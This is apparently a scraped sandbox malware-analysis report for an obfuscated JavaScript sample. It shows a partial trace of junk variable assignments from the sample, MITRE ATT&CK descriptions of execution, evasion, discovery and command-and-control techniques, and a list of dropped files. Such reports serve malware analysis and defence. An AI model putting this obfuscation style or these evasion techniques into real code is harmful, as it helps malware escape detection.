yilhjxfw+orfdrgh+mzyqhhvkj+ogisvc+ogisvc+kanxjxzxz+yeognuwd+thoptak+ecvqnc+qirmvgauj+kanxjxzxz+ecvqnc+imxbhvy+jcpypm+bsfeydvux+bdmnaureq+bdnfno+imxbhvy+ampdnunzy+scbnztyig+ecvqnc+qirmvgauj+bdmnaureq+ecvqnc+mzyqhhvkj+mzyqhhvkj+mixcrn+ovpwizln+ampdnunzy+tsimtchtb+mixcrn+asmufy+ampdnunzy+tsimtchtb+mixcrn+tsimtchtb+scbnztyig+unnfvnmz+qgwjd+dezmjfd+kcuje+kcuje+kcuje+kcuje+mzyqhhvkj+thoptak+whujxre+bdnfno+jfnfyan+jfnfyan+jfnfyan+imxbhvy+cyilhjxfw+cyilhjxfw+orfdrgh+mzyqhhvkj+asmufy+asmufy+rcoelr+ampdnunzy+mixcrn+mixcrn+qgwjd+mixcrn+mixcrn+mixcrn+asmufy+scbnztyig+ffpmv+kcuje+tsimtchtb+thoptak+rlxxqppsa+rlxxqppsa,0,false);") ➔ 0
2	}
3	gzbqmii = "U";
4	gzbqmii = "G";
5	gzbqmii = "s";
6	gzbqmii = "u";
7	gzbqmii = "T";
8	gzbqmii = "\"";
9	unnfvnmz = "c";
10	unnfvnmz = "B";
11	unnfvnmz = "Q";
12	unnfvnmz = "f";
13	unnfvnmz = "l";
14	unnfvnmz = "R";
15	unnfvnmz = "h";
16	unnfvnmz = "0";
17	bdmnaureq = "V";
18	bdmnaureq = "D";
19	bdmnaureq = "c";
20	bdmnaureq = "Y";
21	bdmnaureq = "v";
22	bdmnaureq = "o";
23	bdmnaureq = "V";
24	bdmnaureq = "F";
25	bdmnaureq = "s";
26	dlptpcjj = "M";
27	dlptpcjj = "d";
28	dlptpcjj = "o";
29	dlptpcjj = "R";
30	dlptpcjj = "d";
31	dlptpcjj = "C";
32	hripp = "E";
33	hripp = "U";
34	hripp = "g";
35	hripp = "F";
36	hripp = "t";
37	hripp = "o";
38	hripp = "C";
39	hripp = "a";
40	hripp = "R";
41	hripp = "q";
42	ovpwizln = "t";
43	ovpwizln = "o";
44	ovpwizln = "a";
45	ovpwizln = "q";
46	ovpwizln = "J";
47	ovpwizln = "9";
48	zapoiei = "k";
49	zapoiei = "M";
50	zapoiei = "Q";
51	zapoiei = "q";
52	zapoiei = "D";
53	zapoiei = "O";
54	zapoiei = "Q";
55	zapoiei = "O";
56	asmufy = "H";
57	asmufy = "X";
58	asmufy = "X";
59	asmufy = "D";
60	asmufy = "w";
61	asmufy = "v";
62	asmufy = "z";
63	asmufy = "t";
64	asmufy = "w";
65	asmufy = "4";
66	zjyib = "r";
67	zjyib = "d";
68	zjyib = "P";
69	zjyib = "q";
70	zjyib = "Z";
71	zjyib = "x";
72	zjyib = "U";
73	zjyib = "B";
74	zjyib = "O";
75	zjyib = "b";
76	dawmtvmxs = "g";
77	dawmtvmxs = "S";
78	dawmtvmxs = "y";
79	dawmtvmxs = "a";
80	dawmtvmxs = "t";
81	dawmtvmxs = "V";
82	dawmtvmxs = "R";
83	tsimtchtb = "g";
84	tsimtchtb = "D";
85	tsimtchtb = "d";
86	tsimtchtb = "o";
87	tsimtchtb = "G";
88	tsimtchtb = "m";
89	tsimtchtb = "x";
90	tsimtchtb = ".";
91	mzyqhhvkj = "i";
92	mzyqhhvkj = "G";
93	mzyqhhvkj = "l";
94	mzyqhhvkj = "r";
95	mzyqhhvkj = "n";
96	mzyqhhvkj = "n";
97	mzyqhhvkj = "O";
98	mzyqhhvkj = "I";
99	mzyqhhvkj = "\\";
100	zymalolkf = "b";
101	zymalolkf = "q";
102	zymalolkf = "V";
103	zymalolkf = "v";
104	zymalolkf = "g";
105	zymalolkf = "L";
106	kptjpaobe = "M";
107	kptjpaobe = "X";
108	kptjpaobe = "t";
109	kptjpaobe = "M";
110	kptjpaobe = "O";
111	kptjpaobe = "h";
112	kptjpaobe = "D";
113	kptjpaobe = "Y";
114	kptjpaobe = "n";
115	kptjpaobe = "T";
116	gguhxd = "X";
117	gguhxd = "e";
118	gguhxd = "R";
119	gguhxd = "n";
120	gguhxd = "o";
121	gguhxd = "N";
122	gguhxd = "t";
123	gguhxd = "F";
124	vgqolb = "n";
125	vgqolb = "D";
126	vgqolb = "n";
127	vgqolb = "f";
128	vgqolb = "x";
129	vgqolb = "u";
130	vgqolb = "%";
131	yeognuwd = "u";
132	yeognuwd = "l";
133	yeognuwd = "L";
134	yeognuwd = "B";
135	yeognuwd = "J";
136	yeognuwd = "n";
137	yeognuwd = "n";
138	yeognuwd = "z";
139	yeognuwd = "m";
140	iddvfm = "X";
141	iddvfm = "g";
142	iddvfm = "b";
143	iddvfm = "G";
144	iddvfm = "a";
145	iddvfm = "n";
146	iddvfm = "r";
147	iddvfm = "i";
148	iddvfm = "h";
149	qirmvgauj = "Z";
150	qirmvgauj = "w";
151	qirmvgauj = "E";
152	qirmvgauj = "Z";
153	qirmvgauj = "S";
154	qirmvgauj = "P";
155	qirmvgauj = "/";
156	jbkreq = "q";
157	jbkreq = "h";
158	jbkreq = "y";
159	jbkreq = "s";
160	jbkreq = "T";
161	jbkreq = "t";
162	jbkreq = "S";
163	jbkreq = "r";
164	jbkreq = "L";
165	jbkreq = "P";
166	splkec = "n";
167	splkec = "T";
168	splkec = "s";
169	splkec = "g";
170	splkec = "B";
171	splkec = "p";
172	splkec = "A";
173	splkec = "n";
174	splkec = "y";
175	splkec = "W";
176	thoptak = "W";
177	thoptak = "p";
178	thoptak = "L";
179	thoptak = "Y";
180	thoptak = "u";
181	thoptak = "J";
182	thoptak = "G";
183	thoptak = "Z";
184	thoptak = "Q";
185	thoptak = "d";
186	scbnztyig = "f";
187	scbnztyig = "z";
188	scbnztyig = "H";
189	scbnztyig = "Q";
190	scbnztyig = "E";
191	scbnztyig = "N";
192	scbnztyig = "E";
193	scbnztyig = "2";
194	ecvqnc = "v";
195	ecvqnc = "h";
196	ecvqnc = "L";
197	ecvqnc = "p";
198	ecvqnc = "Q";
199	ecvqnc = "u";
200	ecvqnc = "c";
201	ecvqnc = "L";
202	ecvqnc = "j";
203	ecvqnc = " ";
204	nygfam = "p";
205	nygfam = "R";
206	nygfam = "U";
207	nygfam = "Q";
208	nygfam = "C";
209	nygfam = "e";
210	nygfam = "I";
211	cyilhjxfw = "y";
212	cyilhjxfw = "h";
213	cyilhjxfw = "V";
214	cyilhjxfw = "I";
215	cyilhjxfw = "b";
216	cyilhjxfw = "D";
217	cyilhjxfw = "o";
218	bsfeydvux = "G";
219	bsfeydvux = "B";
220	bsfeydvux = "E";
221	bsfeydvux = "i";
222	bsfeydvux = "i";
223	bsfeydvux = "g";
224	zgfslyz = "O";
225	zgfslyz = "V";
226	zgfslyz = "D";
227	zgfslyz = "c";
228	zgfslyz = "z";
229	zgfslyz = ":";
230	ffpmv = "E";
231	ffpmv = "B";
232	ffpmv = "C";
233	ffpmv = "N";
234	ffpmv = "w";
235	ffpmv = "6";
236	pegwk = "u";
237	pegwk = "i";
238	pegwk = "g";
239	pegwk = "J";
240	pegwk = "X";
241	pegwk = "e";
242	pegwk = "N";
243	imxbhvy = "O";
244	imxbhvy = "M";
245	imxbhvy = "f";
246	imxbhvy = "I";
247	imxbhvy = "N";
248	imxbhvy = "r";
249	ocvaz = "B";
250	ocvaz = "x";
251	ocvaz = "H";
252	ocvaz = "t";
253	ocvaz = "q";
254	ocvaz = "M";
255	ocvaz = "N";
256	ocvaz = "Q";
257	ocvaz = "Y";
258	orfdrgh = "r";
259	orfdrgh = "O";
260	orfdrgh = "X";
261	orfdrgh = "k";
262	orfdrgh = "K";
263	orfdrgh = "t";
264	ptnrlxl = "C";
265	ptnrlxl = "m";
266	ptnrlxl = "Z";
267	ptnrlxl = "R";
268	ptnrlxl = "M";
269	ptnrlxl = "e";
270	ptnrlxl = "I";
271	ptnrlxl = "k";
272	rxdohja = "c";
273	rxdohja = "F";
274	rxdohja = "q";
275	rxdohja = "Q";
276	rxdohja = "Y";
277	rxdohja = "Z";
278	rxdohja = "y";
279	rxdohja = "H";
280	ntcyzmrlh = "r";
281	ntcyzmrlh = "O";
282	ntcyzmrlh = "H";
283	ntcyzmrlh = "U";
284	ntcyzmrlh = "I";
285	ntcyzmrlh = "u";
286	ntcyzmrlh = "c";
287	ntcyzmrlh = "j";
288	bzwvls = "Q";
289	bzwvls = "S";
290	bzwvls = "O";
291	bzwvls = "M";
292	bzwvls = "i";
293	bzwvls = "C";
294	bzwvls = "W";
295	bzwvls = "i";
296	nnflb = "a";
297	nnflb = "w";
298	nnflb = "I";
299	nnflb = "r";
300	nnflb = "v";
301	nnflb = "z";
302	nnflb = "S";
303	kcuje = "H";
304	kcuje = "U";
305	kcuje = "l";
306	kcuje = "g";
307	kcuje = "B";
308	kcuje = "8";
309	ribqd = "m";
310	ribqd = "q";
311	ribqd = "y";
312	ribqd = "a";
313	ribqd = "C";
314	ribqd = "w";
315	ribqd = "T";
316	ribqd = "U";
317	ribqd = "K";
318	fpslt = "R";
319	fpslt = "q";
320	fpslt = "e";
321	fpslt = "m";
322	fpslt = "O";
323	fpslt = "K";
324	fpslt = "q";
325	fpslt = "X";
326	fpslt = "e";
327	fpslt = "u";
328	kaozstjg = "O";
329	kaozstjg = "X";
330	kaozstjg = "h";
331	kaozstjg = "P";
332	kaozstjg = "u";
333	kaozstjg = "s";
334	kaozstjg = "S";
335	kaozstjg = "Y";
336	kaozstjg = "C";
337	kaozstjg = "E";
338	dezmjfd = "O";
339	dezmjfd = "w";
340	dezmjfd = "Z";
341	dezmjfd = "f";
342	dezmjfd = "S";
343	dezmjfd = "@";
344	kanxjxzxz = "c";
345	kanxjxzxz = "H";
346	kanxjxzxz = "X";
347	kanxjxzxz = "p";
348	kanxjxzxz = "v";
349	kanxjxzxz = "Y";
350	kanxjxzxz = "n";
351	kanxjxzxz = "b";
352	kanxjxzxz = "g";
353	kanxjxzxz = "c";
354	gncnvzz = "S";
355	gncnvzz = "I";
356	gncnvzz = "m";
357	gncnvzz = "Z";
358	gncnvzz = "d";
359	gncnvzz = "G";
360	gncnvzz = "q";
361	gncnvzz = "A";
362	gncnvzz = "U";
363	rcoelr = "d";
364	rcoelr = "j";
365	rcoelr = "E";
366	rcoelr = "s";
367	rcoelr = "n";
368	rcoelr = "h";
369	rcoelr = "r";
370	rcoelr = "O";
371	rcoelr = "z";
372	rcoelr = "7";
373	enxpibev = "o";
374	enxpibev = "e";
375	enxpibev = "R";
376	enxpibev = "F";
377	enxpibev = "Q";
378	enxpibev = "f";
379	enxpibev = "Q";
380	enxpibev = "G";
381	enxpibev = "q";
382	enxpibev = "x";
383	bdnfno = "g";
384	bdnfno = "g";
385	bdnfno = "x";
386	bdnfno = "n";
387	bdnfno = "B";
388	bdnfno = "E";
389	bdnfno = "v";
390	ampdnunzy = "F";
391	ampdnunzy = "d";
392	ampdnunzy = "d";
393	ampdnunzy = "Z";
394	ampdnunzy = "g";
395	ampdnunzy = "3";
396	mixcrn = "E";
397	mixcrn = "g";
398	mixcrn = "o";
399	mixcrn = "i";
400	mixcrn = "I";
401	mixcrn = "C";
402	mixcrn = "P";
403	mixcrn = "f";
404	mixcrn = "1";
405	whujxre = "y";
406	whujxre = "W";
407	whujxre = "J";
408	whujxre = "a";
409	whujxre = "d";
410	whujxre = "a";
411	whujxre = "q";
412	whujxre = "a";
413	ogisvc = "x";
414	ogisvc = "p";
415	ogisvc = "S";
416	ogisvc = "a";
417	ogisvc = "I";
418	ogisvc = "F";
419	ogisvc = "&";
420	jcpypm = "q";
421	jcpypm = "j";
422	jcpypm = "Z";
423	jcpypm = "V";
424	jcpypm = "K";
425	jcpypm = "J";
426	jcpypm = "u";
427	jcpypm = "N";
428	jcpypm = "e";
429	qgwjd = "i";
430	qgwjd = "B";
431	qgwjd = "n";
432	qgwjd = "O";
433	qgwjd = "F";
434	qgwjd = "C";
435	qgwjd = "5";
436	zpymyz = "k";
437	zpymyz = "k";
438	zpymyz = "q";
439	zpymyz = "U";
440	zpymyz = "e";
441	zpymyz = "T";
442	zpymyz = "P";
443	zpymyz = "w";
444	zpymyz = "Q";
445	zpymyz = "f";
446	jfnfyan = "n";
447	jfnfyan = "c";
448	jfnfyan = "A";
449	jfnfyan = "c";
450	jfnfyan = "o";
451	jfnfyan = "n";
452	jfnfyan = "S";
453	jfnfyan = "k";
454	jfnfyan = "Z";
455	jfnfyan = "w";
456	ggfjjrukc = "S";
457	ggfjjrukc = "c";
458	ggfjjrukc = "j";
459	ggfjjrukc = "n";
460	ggfjjrukc = "X";
461	ggfjjrukc = "m";
462	ggfjjrukc = "x";
463	ggfjjrukc = "a";
464	ggfjjrukc = "Q";
465	ucywfbepz = "i";
466	ucywfbepz = "w";
467	ucywfbepz = "K";
468	ucywfbepz = "k";
469	ucywfbepz = "o";
470	ucywfbepz = "-";
471	svplpal = "K";
472	svplpal = "G";
473	svplpal = "v";
474	svplpal = "e";
475	svplpal = "a";
476	svplpal = "z";
477	svplpal = "t";
478	svplpal = "F";
479	svplpal = "n";
480	tukfp = "S";
481	tukfp = "b";
482	tukfp = "X";
483	tukfp = "I";
484	tukfp = "w";
485	tukfp = "w";
486	tukfp = "p";
487	rlxxqppsa = "X";
488	rlxxqppsa = "e";
489	rlxxqppsa = "s";
490	rlxxqppsa = "j";
491	rlxxqppsa = "q";
492	rlxxqppsa = "H";
493	rlxxqppsa = "o";
494	rlxxqppsa = "F";
495	rlxxqppsa = "l";
496	uhmogooj = "n";
497	uhmogooj = "I";
498	uhmogooj = "y";
499	uhmogooj = "h";
500	uhmogooj = "x";
501	uhmogooj = "O";
502	uhmogooj = "H";
503	uhmogooj = "p";
504	uhmogooj = "_";
505	tfzxgqavh ( );	tfzxgqavh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1972921391166218927.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\20df38bd-b54b-4033-a890-18e272733e1d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF61d048.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b6f8b3f7-c6f1-4dc2-953d-bd4467f92506.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2044

Windows Analysis Report
1972921391166218927.js